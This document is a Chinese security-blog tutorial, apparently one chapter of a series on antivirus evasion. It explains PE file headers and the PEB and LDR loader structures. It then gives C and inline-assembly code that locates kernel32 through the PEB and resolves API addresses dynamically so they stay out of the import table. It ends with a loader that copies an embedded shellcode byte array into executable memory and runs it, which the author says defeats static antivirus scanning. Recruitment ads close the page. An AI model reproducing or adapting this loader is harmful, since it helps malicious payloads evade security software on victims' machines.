No.1
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
No.2
前言
针对本篇及后续文章中用到的部分技术,我已经写好了相关代码,用于快速生成免杀的可执行程序,源代码放在了(github)[https://github.com/1y0n/AV_Evasion_Tool]上,也可以直接下载编译好的(程序)[https://github.com/1y0n/AV_Evasion_Tool/releases]
工具界面如下:
效果如下:
在第二章节中我们学习了如何调用API,但是无论怎样调用,IAT 表中还是会出现我们调用的 API (加密会在后面章节中介绍)。这一章节,我们将学习动态加载技术,这种技术可以让我们脱离复杂的导入表结构,在程序空间中构造类似导入表的调用引入函数机制。动态加载技术的核心是对被调用函数的地址的获取,调用函数位于动态链接库中。
**基础知识全部来自《Windows PE权威指南》,我只摘抄了对理解本章节有用的部分,原书讲的更加全面彻底,强烈推荐阅读。**这些知识将在本章节及以后的章节中用到。
No.3
地址
PE 中涉及的地址有四类,分别是:
✦虚拟内存地址 VA
✦相对虚拟内存地址 RVA
✦文件偏移地址 FOA
✦特殊地址
虚拟内存地址 VA
用户的PE文件被操作系统加载进内存后,PE对应的进程支配了自己独立的4GB虚拟空间。在这个空间中定位的地址称为虚拟内存地址(Virtual Address,VA),所以虚拟内存地址的范围是 00000000h ~ 0fffffffj 。在PE中,进程本身的VA被解释为:进程的基地址 + 相对虚拟内存地址。
相对虚拟内存地址 RVA
一个进程被操作系统加载到虚拟内存空间后,其相关的DLL也会被加载。这些同时加载到进程地址空间的文件称为 模块。每一个模块在加载时都有一个基地址,也就是预先告诉操作系统,他会占用4GB空间的哪个部分。相对虚拟地址(Reverse Virtual Address,RVA)是相对于基地址的偏移,即RVA是虚拟内存中用来定位某个特定位置的地址,该地址的值是这个特定位置距离某个模块基地址的偏移量,所以说RVA是针对某个模块而存在的。记住,RVA是相对于模块而言的,VA是相对于整个地址空间而言的。
文件偏移地址 FOA
文件偏移地址(File Offset Address,FOA)和内存无关,它是指某个位置距离文件头的偏移。
特殊地址
在 PE 结构中还有一种特殊地址,其计算方法并不是从文件头算起,也不是从内存的某个模块的基地址算起,而是从某个特定的位置算起。这种地址在 PE 结构中很少见,如在资源表里就出现过这样的地址。
指针
PE 数据结构中的指针的定义:如果数据结构中某个字段存储的值为一个地址,那么这个字段就是一个指针。
数据目录
PE 中有一个数据结构称为 数据目录,其中记录了所有可能出现的数据类型。这些类型中,目前已定义的有15种,包括导出表、导入表、资源表、异常表、属性证书表、重定位表、调试数据、Architecture、Global Ptr、线程局部存储、加载配置表、绑定导入表、IAT、延迟导入表和CLR运行头部。
No.4
PE的文件结构如图:
图片来自 https://bbs.pediy.com/thread-252795.htm
1. DOS MZ 头 IMAGE_DOS_HEADER
具体定义如下(偏移基于 IMAGE_NT_HEADERS 头):
typedef struct _IMAGE_DOS_HEADER {
// DOS .EXE header
WORD e_magic; // Magic number 固定为"MZ" 即, 4Dh 5Ah
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // File address of new exe header 指向PE头
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
2. PE 头标识 Signature
紧跟在DOS Stub后面的是 PE 头标识 Signature。与大部分文件格式的头部结构一样,PE 头部信息中有一个四字节的标识,该标识位于指针 IMAGE_DOS_HEADER.e_lfanew 指向的位置。其内容固定,对应于ASCII码的字符串 “PE\0\0” 。
3. 标准 PE 头 IMAGE_FILE_HEADER
标准PE头IMAGE_FILE_HEADER紧跟在PE头标识后,即位于IMAGE_DOS_HEADER的e_lfanew值+4的位置。由此位置开始的20个字节为数据结构标准PE头IMAGE_FILE_HEADER的内容。该结构在微软的官方文档中被称为标准通用对象文件格式(Common Object File Format,COFF)。它记录了 PE 文件的全局属性,如该 PE 文件运行的平台、文件类型(EXE 或 DLL)、文件中存在的节的总数等,其详细定义如下:
typedef struct _IMAGE_FILE_HEADER {
+04h WORD Machine; // 运行平台
+06h WORD NumberOfSections; // 文件的区块数目
+08h DWORD TimeDateStamp; // 文件创建日期和时间
+0Ch DWORD PointerToSymbolTable; // 指向符号表(主要用于调试)
+10h DWORD NumberOfSymbols; // 符号表中符号个数(同上)
+14h WORD SizeOfOptionalHeader; // IMAGE_OPTIONAL_HEADER32 结构大小
+16h WORD Characteristics; // 文件属性
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
该结构常用于判断 PE 文件是 EXE 类型还是 DLL 类型。偏移基于 IMAGE_NT_HEADERS 头。
4. 扩展 PE 头 IMAGE_OPTIONAL_HEADER32
重点内容。重点字段将在后面详细展开。
typedef struct _IMAGE_OPTIONAL_HEADER {
WORD Magic; **魔术字 偏移0x00
BYTE MajorLinkerVersion; **链接器主版本 偏移0x02
BYTE MinorLinkerVersion; **链接器副版本 偏移0x03
DWORD SizeOfCode; **所有含代码的节的总大小 偏移0x04
DWORD SizeOfInitializedData; **所有含初始数据的节的总大小 偏移0x08
DWORD SizeOfUninitializedData; **所有含未初始数据的节的总大小 偏移0x0C
DWORD AddressOfEntryPoint; **程序执行入口地址 偏移0x10 重要
DWORD BaseOfCode; **代码节的起始地址 偏移0x14
DWORD BaseOfData; **数据节的起始地址 偏移0x18
DWORD ImageBase; **程序首选装载地址 偏移0x1C 重要
DWORD SectionAlignment; **内存中节区对齐大小 偏移0x20 重要
DWORD FileAlignment; **文件中节区对齐大小 偏移0x24 重要
WORD MajorOperatingSystemVersion; **操作系统的主版本号 偏移0x28
WORD MinorOperatingSystemVersion; **操作系统的副版本号 偏移0x2A
WORD MajorImageVersion; **镜像的主版本号 偏移0x2C
WORD MinorImageVersion; **镜像的副版本号 偏移0x2E
WORD MajorSubsystemVersion; **子系统的主版本号 偏移0x30
WORD MinorSubsystemVersion; **子系统的副版本号 偏移0x32
DWORD Win32VersionValue; **保留,必须为0 偏移0x34
DWORD SizeOfImage; **镜像大小 偏移0x38 重要
DWORD SizeOfHeaders; **PE头大小 偏移0x3C 重要
DWORD CheckSum; **校验和 偏移0x40
WORD Subsystem; **子系统类型 偏移0x44
WORD DllCharacteristics; **DLL文件特征 偏移0x46
DWORD SizeOfStackReserve; **栈的保留大小 偏移0x48
DWORD SizeOfStackCommit; **栈的提交大小 偏移0x4C
DWORD SizeOfHeapReserve; **堆的保留大小 偏移0x50
DWORD SizeOfHeapCommit; **堆的提交大小 偏移0x54
DWORD LoaderFlags; **保留,必须为0 偏移0x58
DWORD NumberOfRvaAndSizes; **数据目录的项数 偏移0x5C
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
5. PE 头 IMAGE_NT_HEADERS
广义 PE 头。它包含上面三个头,即 IMAGE_NT_HEADERS = 4个字节的 PE 标志 + IMAGE_FILE_HEADER + IMAGE_OPTIONAL_HEADER32 。其字段我们将在后面详细展开。
6. 数据目录项 IMAGE_DATA_DIRECTORY
IMAGE_OPTIONAL_HEADER32(扩展PE头)结构的最后一个字段为DataDirectory。该字段定义了PE文件中出现的所有不同类型的数据的目录信息。
7. 节表项 IMAGE_SECTION_HEADER
PE 头 IMAGE_NT_HEADERS 后紧跟着节表。它由许多个节表项(IMAGE_SECTION HEADER)组成,每个节表项记录了PE中与某个特定的节有关的信息,如节的属性、节的大小、在文件和内存中的起始位置等。节表中节的数量由字段 IMAGE_FILE_HEADER.NumberOfSections 来定义。节表项的数据结构详细定义如下:
typedef struct _IMAGE_SECTION_HEADER
{
+0h BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; // 节表名称,如“.text”
//IMAGE_SIZEOF_SHORT_NAME=8
union
+8h {
DWORD PhysicalAddress; // 物理地址
DWORD VirtualSize; // 真实长度,这两个值是一个联合结构,可以使用其中的任何一个,一
// 般是取后一个
} Misc;
+ch DWORD VirtualAddress; // 节区的 RVA 地址
+10h DWORD SizeOfRawData; // 在文件中对齐后的尺寸
+14h DWORD PointerToRawData; // 在文件中的偏移量
+18h DWORD PointerToRelocations; // 在OBJ文件中使用,重定位的偏移
+1ch DWORD PointerToLinenumbers; // 行号表的偏移(供调试使用地)
+1eh WORD NumberOfRelocations; // 在OBJ文件中使用,重定位项数目
+20h WORD NumberOfLinenumbers; // 行号表中行号的数目
+24h DWORD Characteristics; // 节属性如可读,可写,可执行等
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
No.5
IMAGE_OPTIONAL_HEADER32 的字段
IMAGE_OPTIONAL_HEADER32.ddressOfEntryPoint
+0028h,双字。在Windows中,可执行程序运行在虚拟地址空间中,由于4GB空间对于程序是唯一的,所以这里的虚拟空间可以简单地理解为真实的地址(我们暂且忘记物理内存地址的概念,这样就不需要理解页面调度机制了)。该字段的值是一个RVA,它记录了启动代码距离该PE加载后的起始位置到底有多少个字节。
如果在一个可执行文件中附加了一段自己的代码,并且想让这段代码首先被执行,一般都要修改这里的值使之指向自己的代码位置。对于一般程序映像来说,它就是启动地址;对于设备驱动程序来说,它是初始化函数的地址。入口点对于DLL来说是可选的,如果不存在入口点,这个字段必须设置为0。
IMAGE OPTIONAL HEADER32.BaseOfCode
+002Ch,双字。代码节的起始RVA,表示映像被加载进内存时代码节的开头相对于映像基址的偏移地址。一般情况下,代码节紧跟在PE头部后面,节的名称通常为“.text”。
IMAGE_OPTIONAL_HEADER32.BaseOfData
+0030h,双字。数据节的起始RVA,表示映像被加载进内存时数据节的开头相对于映像基地址的偏移地址。一般情况下,数据节位于文件末尾,节的名称通常为“.data”。
IMAGE_OPTIONAL_HEADER32.ImageBase
该成员指定了文件被执行时优先被装入的地址,如果这个地址已经被占用,那么程序装载器就会将它载入其他地址。当文件被载入其他地址后,就必须通过重定位表进行资源的重定位,这就会变慢文件的载入速度。而装载到ImageBase指定的地址就不会进行资源重定位。
对于EXE文件来说,由于每个文件总是使用独立的虚拟地址空间,优先装入地址不可能被其他模块占据,所以EXE总是能够按照这个地址装入,这也意味着EXE文件不再需要重定位信息。对于DLL文件来说,由于多个DLL文件全部使用宿主EXE文件的地址空间,不能保证优先装入地址没有被其他的DLL使用,所以DLL文件中必须包含重定位信息以防万一。因此,在前面介绍的 IMAGE_FILE_HEADER 结构的 Characteristics 成员中,DLL 文件对应的IMAGE_FILE_RELOCS_STRIPPED位总是为0,而EXE文件的这个标志位总是为1。
No.6
从第二章中我们用 GetProcAddress 和 LoadLibrary 替换 VirtualAlloc 可以看出来,只要我们能够使用这两个函数,就可以调用任何 dll,而且,无论我们是否主动调用,Kernel32 都会被调用,所以,动态加载流程就分成了三步,首先是获取 kernel32.dll 的基址,然后获取 GetProcAddress 和 LoadLibrary 的地址,最后用获取的地址加载任何 dll,调用任何函数。
关于获取 Kernel32.dll 基址,《Windows PE权威指南》中给出了四种方法,几种方法各有利弊,我们选择通过 PEB 获取 Kernel32 基址。
PEB 即进程环境块,它记录了与进程相关的各种结构,其中包含了该进程加载的其他模块的地址。其数据结构如下:
typedef struct _PEB
{
UCHAR InheritedAddressSpace; // 00h
UCHAR ReadImageFileExecOptions; // 01h
UCHAR BeingDebugged; // 02h 进程是否处于调试状态
UCHAR Spare; // 03h
PVOID Mutant; // 04h
PVOID ImageBaseAddress; // 08h 进程映像基地址
PPEB_LDR_DATA Ldr; // 0Ch 加载的其他模块信息
PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // 10h
PVOID SubSystemData; // 14h
PVOID ProcessHeap; // 18h
PVOID FastPebLock; // 1Ch
PPEBLOCKROUTINE FastPebLockRoutine; // 20h
PPEBLOCKROUTINE FastPebUnlockRoutine; // 24h
ULONG EnvironmentUpdateCount; // 28h
PVOID* KernelCallbackTable; // 2Ch
PVOID EventLogSection; // 30h
PVOID EventLog; // 34h
PPEB_FREE_BLOCK FreeList; // 38h
ULONG TlsExpansionCounter; // 3Ch
PVOID TlsBitmap; // 40h
ULONG TlsBitmapBits[0x2]; // 44h
PVOID ReadOnlySharedMemoryBase; // 4Ch
PVOID ReadOnlySharedMemoryHeap; // 50h
PVOID* ReadOnlyStaticServerData; // 54h
PVOID AnsiCodePageData; // 58h
PVOID OemCodePageData; // 5Ch
PVOID UnicodeCaseTableData; // 60h
ULONG NumberOfProcessors; // 64h
ULONG NtGlobalFlag; // 68h
UCHAR Spare2[0x4]; // 6Ch
LARGE_INTEGER CriticalSectionTimeout; // 70h
ULONG HeapSegmentReserve; // 78h
ULONG HeapSegmentCommit; // 7Ch
ULONG HeapDeCommitTotalFreeThreshold; // 80h
ULONG HeapDeCommitFreeBlockThreshold; // 84h
ULONG NumberOfHeaps; // 88h
ULONG MaximumNumberOfHeaps; // 8Ch
PVOID** ProcessHeaps; // 90h
PVOID GdiSharedHandleTable; // 94h
PVOID ProcessStarterHelper; // 98h
PVOID GdiDCAttributeList; // 9Ch
PVOID LoaderLock; // A0h
ULONG OSMajorVersion // A4h
ULONG OSMinorVersion; // A8h
ULONG OSBuildNumber; // ACh
ULONG OSPlatformId; // B0h
ULONG ImageSubSystem; // B4h
ULONG ImageSubSystemMajorVersion; // B8h
ULONG ImageSubSystemMinorVersion; // C0h
ULONG GdiHandleBuffer[0x22]; // C4h
PVOID ProcessWindowStation; // ???
}
注意看第9行,Ldr 指向了一个结构,该结构的详细定义为:
typedef struct _PEB_LDR_DATA
{
ULONG Length; // +0x00
BOOLEAN Initialized; // +0x04
PVOID SsHandle; // +0x08
LIST_ENTRY InLoadOrderModuleList; // +0x0c
LIST_ENTRY InMemoryOrderModuleList; // +0x14
LIST_ENTRY InInitializationOrderModuleList;// +0x1c
} PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24
注意看第6-8行,这是哪个 LIST_ENTRY 记录了当前进程加载的模块。其中,最后一个 LIST_ENTRY 中记录了进程初始化时加载的模块:这个列表包含了 ntdll.dll 和 kernel32.dll,而且大多数情况下,kernel32.dll 的基地址位于第二个地址处。LIST_ENTRY 指向了数据结构 _LDR_MODULE ,该结构详细定义如下:
typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;//代表按加载顺序构成的模块链表
LIST_ENTRY InMemoryOrderModuleList;//代表按内存顺序构成的模块链表
LIST_ENTRY InInitializationOrderModuleList;//代表按初始化顺序构成的模块链表
PVOID BaseAddress;//该模块的基地址
PVOID EntryPoint;//该模块的入口
ULONG SizeOfImage;//该模块的影像大小
UNICODE_STRING FullDllName;//包含路径的模块名
UNICODE_STRING BaseDllName;//不包含路径的模块名
ULONG Flags;
SHORT LoadCount;//该模块的引用计数
SHORT TlsIndex;
HANDLE SectionHandle;
ULONG CheckSum;
ULONG TimeDateStamp;
} LDR_MODULE, *PLDR_MODULE;
No.7
上面理好了流程,下面我们就码代码执行一遍整个流程。
获取 Kernel32 基地址
实现代码1:
# include <Windows.h>
int main(){
HMODULE hModule;
_asm
{
mov eax, fs:[0x30] //得到PEB地址,其实这里还有个TEB的概念,但是只用到这一次,为了防止混乱,就不再解释了
mov eax, [eax + 0xc]//指向PEB_LDR_DATA结构的首地址
mov eax, [eax + 0x1c]//一个双向链表的地址
mov eax, [eax]//得到第二个条目kernelBase的链表
mov eax, [eax]//得到第三个条目kernel32链表(win10)
mov eax, [eax + 0x8] //kernel32.dll地址
mov hModule, eax
}
}
实现代码2(和1差不多,只是没全用汇编):
# include <Windows.h>
//代码来自看雪论坛
int main(){
DWORD dwPEB;
DWORD dwLDR;
DWORD dwInitList;
DWORD dwDllBase;//当前地址
PIMAGE_DOS_HEADER pImageDosHeader;//指向DOS头的指针
PIMAGE_NT_HEADERS pImageNtHeaders;//指向NT头的指针
DWORD dwVirtualAddress;//导出表偏移地址
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;//指向导出表的指针
PTCHAR lpName;//指向dll名字的指针
TCHAR szKernel32[] = TEXT("KERNEL32.dll");
TCHAR szBuffer[256];
__asm
{
mov eax, FS:[0x30]//获取PEB所在地址
mov dwPEB, eax
}
dwLDR = *(PDWORD)(dwPEB + 0xc);//获取PEB_LDR_DATA 结构指针
dwInitList = *(PDWORD)(dwLDR + 0x1c);//获取InInitializationOrderModuleList 链表头
//第一个LDR_MODULE节点InInitializationOrderModuleList成员的指针
for (;
dwDllBase = *(PDWORD)(dwInitList + 8);//结构偏移0x8处存放模块基址
dwInitList = *(PDWORD)dwInitList//结构偏移0处存放下一模块结构的指针
)
{
pImageDosHeader = (PIMAGE_DOS_HEADER)dwDllBase;
pImageNtHeaders = (PIMAGE_NT_HEADERS)(dwDllBase + pImageDosHeader->e_lfanew);
dwVirtualAddress = pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;//导出表偏移
pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dwDllBase + dwVirtualAddress);//导出表地址
lpName = (PTCHAR)(dwDllBase + pImageExportDirectory->Name);//dll名字
if (strlen(lpName) == 0xc && !strcmp(lpName, szKernel32))//判断是否为“KERNEL32.dll”
{
//输出模块基地址
wsprintf(szBuffer, TEXT("kernel32.dll的基地址为%08x"), dwDllBase);
MessageBox(NULL, szBuffer, NULL, MB_OK);
}
}
两个的执行结果是一样的,这个结果在不同的系统上执行结果可能是不一样的:
获取 LoadLibrary 与 GetProcAddress 地址
直接给出代码:
# include<Windows.h>
# include<stdio.h>
/*
获取kernel32.dll的基地址
因为vc程序main函数之前会有初始化,所以不能通过堆栈栈顶值获取kernel32.dll中的地址
因此通过 PEB 结构获取Kernel32.dll基址
代码来自看雪论坛
*/
DWORD _getKernelBase()
{
DWORD dwPEB;
DWORD dwLDR;
DWORD dwInitList;
DWORD dwDllBase;//当前地址
PIMAGE_DOS_HEADER pImageDosHeader;//指向DOS头的指针
PIMAGE_NT_HEADERS pImageNtHeaders;//指向NT头的指针
DWORD dwVirtualAddress;//导出表偏移地址
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;//指向导出表的指针
PTCHAR lpName;//指向dll名字的指针
TCHAR szKernel32[] = TEXT("KERNEL32.dll");
__asm
{
mov eax, FS: [0x30]//获取PEB所在地址
mov dwPEB, eax
}
dwLDR = *(PDWORD)(dwPEB + 0xc);//获取PEB_LDR_DATA 结构指针
dwInitList = *(PDWORD)(dwLDR + 0x1c);//获取InInitializationOrderModuleList 链表头
//第一个LDR_MODULE节点InInitializationOrderModuleList成员的指针
for (;
dwDllBase = *(PDWORD)(dwInitList + 8);//结构偏移0x8处存放模块基址
dwInitList = *(PDWORD)dwInitList//结构偏移0处存放下一模块结构的指针
)
{
pImageDosHeader = (PIMAGE_DOS_HEADER)dwDllBase;
pImageNtHeaders = (PIMAGE_NT_HEADERS)(dwDllBase + pImageDosHeader->e_lfanew);
dwVirtualAddress = pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;//导出表偏移
pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dwDllBase + dwVirtualAddress);//导出表地址
lpName = (PTCHAR)(dwDllBase + pImageExportDirectory->Name);//dll名字
if (strlen(lpName) == 0xc && !strcmp(lpName, szKernel32))//判断是否为“KERNEL32.dll”
{
return dwDllBase;
}
}
return 0;
}
/*
获取指定字符串的API函数的调用地址
入口参数:_hModule为动态链接库的基址
_lpApi为API函数名的首址
出口参数:eax为函数在虚拟地址空间中的真实地址
*/
DWORD _getApi(DWORD _hModule, PTCHAR _lpApi)
{
DWORD i;
DWORD dwLen;
PIMAGE_DOS_HEADER pImageDosHeader;//指向DOS头的指针
PIMAGE_NT_HEADERS pImageNtHeaders;//指向NT头的指针
DWORD dwVirtualAddress;//导出表偏移地址
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;//指向导出表的指针
TCHAR** lpAddressOfNames;
PWORD lpAddressOfNameOrdinals;//计算API字符串的长度
for (i = 0; _lpApi[i]; ++i);
dwLen = i;
pImageDosHeader = (PIMAGE_DOS_HEADER)_hModule;
pImageNtHeaders = (PIMAGE_NT_HEADERS)(_hModule + pImageDosHeader->e_lfanew);
dwVirtualAddress = pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;//导出表偏移
pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(_hModule + dwVirtualAddress);//导出表地址
lpAddressOfNames = (TCHAR**)(_hModule + pImageExportDirectory->AddressOfNames);//按名字导出函数列表
for (i = 0; _hModule + lpAddressOfNames[i]; ++i)
{
if (strlen(_hModule + lpAddressOfNames[i]) == dwLen &&
!strcmp(_hModule + lpAddressOfNames[i], _lpApi))//判断是否为_lpApi
{
lpAddressOfNameOrdinals = (PWORD)(_hModule + pImageExportDirectory->AddressOfNameOrdinals);//按名字导出函数索引列表
return _hModule + ((PDWORD)(_hModule + pImageExportDirectory->AddressOfFunctions))
[lpAddressOfNameOrdinals[i]];//根据函数索引找到函数地址
}
}
return 0;
}
int main(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow){
DWORD kernel32Base;
PROC _getProcAddress;
DWORD lpLoadLib;
TCHAR szBuffer[256];
TCHAR szGetProcAddr[] = TEXT("GetProcAddress");
TCHAR szLoadLib[] = TEXT("LoadLibraryA");
kernel32Base = _getKernelBase();
_getProcAddress = (PROC)_getApi(kernel32Base, szGetProcAddr);//为函数引用赋值 GetProcAddress
lpLoadLib = _getProcAddress(kernel32Base, szLoadLib);
printf("kernel32.dll在本程序地址空间的基地址为:%08x\n", kernel32Base);
printf("GetProcAddress代码在本程序地址空间的首址为:%08x\n", _getProcAddress);
printf("LoadLibraryA代码在本程序地址空间的首址为:%08x\n", lpLoadLib);
return 0;
}
执行效果:
执行代码
执行代码如下:
# include<Windows.h>
# include<stdio.h>
/*
获取kernel32.dll的基地址
因为vc程序main函数之前会有初始化,所以不能通过堆栈栈顶值获取kernel32.dll中的地址
因此通过 PEB 结构获取Kernel32.dll基址
部分代码来自看雪论坛
*/
DWORD _getKernelBase()
{
DWORD dwPEB;
DWORD dwLDR;
DWORD dwInitList;
DWORD dwDllBase;//当前地址
PIMAGE_DOS_HEADER pImageDosHeader;//指向DOS头的指针
PIMAGE_NT_HEADERS pImageNtHeaders;//指向NT头的指针
DWORD dwVirtualAddress;//导出表偏移地址
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;//指向导出表的指针
PTCHAR lpName;//指向dll名字的指针
TCHAR szKernel32[] = TEXT("KERNEL32.dll");
__asm
{
mov eax, FS: [0x30]//获取PEB所在地址
mov dwPEB, eax
}
dwLDR = *(PDWORD)(dwPEB + 0xc);//获取PEB_LDR_DATA 结构指针
dwInitList = *(PDWORD)(dwLDR + 0x1c);//获取InInitializationOrderModuleList 链表头
//第一个LDR_MODULE节点InInitializationOrderModuleList成员的指针
for (;
dwDllBase = *(PDWORD)(dwInitList + 8);//结构偏移0x8处存放模块基址
dwInitList = *(PDWORD)dwInitList//结构偏移0处存放下一模块结构的指针
)
{
pImageDosHeader = (PIMAGE_DOS_HEADER)dwDllBase;
pImageNtHeaders = (PIMAGE_NT_HEADERS)(dwDllBase + pImageDosHeader->e_lfanew);
dwVirtualAddress = pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;//导出表偏移
pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dwDllBase + dwVirtualAddress);//导出表地址
lpName = (PTCHAR)(dwDllBase + pImageExportDirectory->Name);//dll名字
if (strlen(lpName) == 0xc && !strcmp(lpName, szKernel32))//判断是否为“KERNEL32.dll”
{
return dwDllBase;
}
}
return 0;
}
/*
获取指定字符串的API函数的调用地址
入口参数:_hModule为动态链接库的基址
_lpApi为API函数名的首址
出口参数:eax为函数在虚拟地址空间中的真实地址
*/
DWORD _getApi(DWORD _hModule, PTCHAR _lpApi)
{
DWORD i;
DWORD dwLen;
PIMAGE_DOS_HEADER pImageDosHeader;//指向DOS头的指针
PIMAGE_NT_HEADERS pImageNtHeaders;//指向NT头的指针
DWORD dwVirtualAddress;//导出表偏移地址
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;//指向导出表的指针
TCHAR** lpAddressOfNames;
PWORD lpAddressOfNameOrdinals;//计算API字符串的长度
for (i = 0; _lpApi[i]; ++i);
dwLen = i;
pImageDosHeader = (PIMAGE_DOS_HEADER)_hModule;
pImageNtHeaders = (PIMAGE_NT_HEADERS)(_hModule + pImageDosHeader->e_lfanew);
dwVirtualAddress = pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;//导出表偏移
pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(_hModule + dwVirtualAddress);//导出表地址
lpAddressOfNames = (TCHAR**)(_hModule + pImageExportDirectory->AddressOfNames);//按名字导出函数列表
for (i = 0; _hModule + lpAddressOfNames[i]; ++i)
{
if (strlen(_hModule + lpAddressOfNames[i]) == dwLen &&
!strcmp(_hModule + lpAddressOfNames[i], _lpApi))//判断是否为_lpApi
{
lpAddressOfNameOrdinals = (PWORD)(_hModule + pImageExportDirectory->AddressOfNameOrdinals);//按名字导出函数索引列表
return _hModule + ((PDWORD)(_hModule + pImageExportDirectory->AddressOfFunctions))
[lpAddressOfNameOrdinals[i]];//根据函数索引找到函数地址
}
}
return 0;
}
int main(){
unsigned char shellcode[] = "\x2b\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x65\x87\xbe\xd4\x83\xee\xfc\xe2\xf4\x99\x6f\x3c\xd4\x65\x87\xde\x5d\x80\xb6\x7e\xb0\xee\xd7\x8e\x5f\x37\x8b\x35\x86\x71\x0c\xcc\xfc\x6a\x30\xf4\xf2\x54\x78\x12\xe8\x04\xfb\xbc\xf8\x45\x46\x71\xd9\x64\x40\x5c\x26\x37\xd0\x35\x86\x75\x0c\xf4\xe8\xee\xcb\xaf\xac\x86\xcf\xbf\x05\x34\x0c\xe7\xf4\x64\x54\x35\x9d\x7d\x64\x84\x9d\xee\xb3\x35\xd5\xb3\xb6\x41\x78\xa4\x48\xb3\xd5\xa2\xbf\x5e\xa1\x93\x84\xc3\x2c\x5e\xfa\x9a\xa1\x81\xdf\x35\x8c\x41\x86\x6d\xb2\xee\x8b\xf5\x5f\x3d\x9b\xbf\x07\xee\x83\x35\xd5\xb5\x0e\xfa\xf0\x41\xdc\xe5\xb5\x3c\xdd\xef\x2b\x85\xd8\xe1\x8e\xee\x95\x55\x59\x38\xed\xbf\x59\xe0\x35\xbe\xd4\x65\xd7\xd6\xe5\xee\xe8\x39\x2b\xb0\x3c\x4e\x61\xc7\xd1\xd6\x72\xf0\x3a\x23\x2b\xb0\xbb\xb8\xa8\x6f\x07\x45\x34\x10\x82\x05\x93\x76\xf5\xd1\xbe\x65\xd4\x41\x01\x06\xe6\xd2\xb7\x4b\xe2\xc6\xb1\x65\x87\xbe\xd4";
TCHAR szVirAlloc[] = TEXT("VirtualAlloc");
typedef LPVOID(WINAPI* VirtualAllocB)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
VirtualAllocB p = (VirtualAllocB)_getApi(_getKernelBase(), szVirAlloc);char* a = (char*)(*p)(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(a, shellcode, sizeof(shellcode));
(*(void(*)())a)();
return 0;
}
编译完成,可以正常执行我们的shellcode。此方法对付静态查杀效果极好。
招聘启事
安恒雷神众测SRC运营(实习生)
————————
【职责描述】
1. 负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2. 负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3. 参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4. 积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5. 积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。
【任职要求】
1. 责任心强,性格活泼,具备良好的人际交往能力;
2. 对网络安全感兴趣,对行业有基本了解;
3. 良好的文案写作能力和活动组织协调能力。
简历投递至 [email protected]
设计师(实习生)
————————
【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。
【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;精通photoshop/illustrator/coreldrew/等设计制作软件;
3、有品牌传播、产品设计或新媒体视觉工作经历;
【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽
简历投递至 [email protected]
安全招聘
————————
公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京
工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…
【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
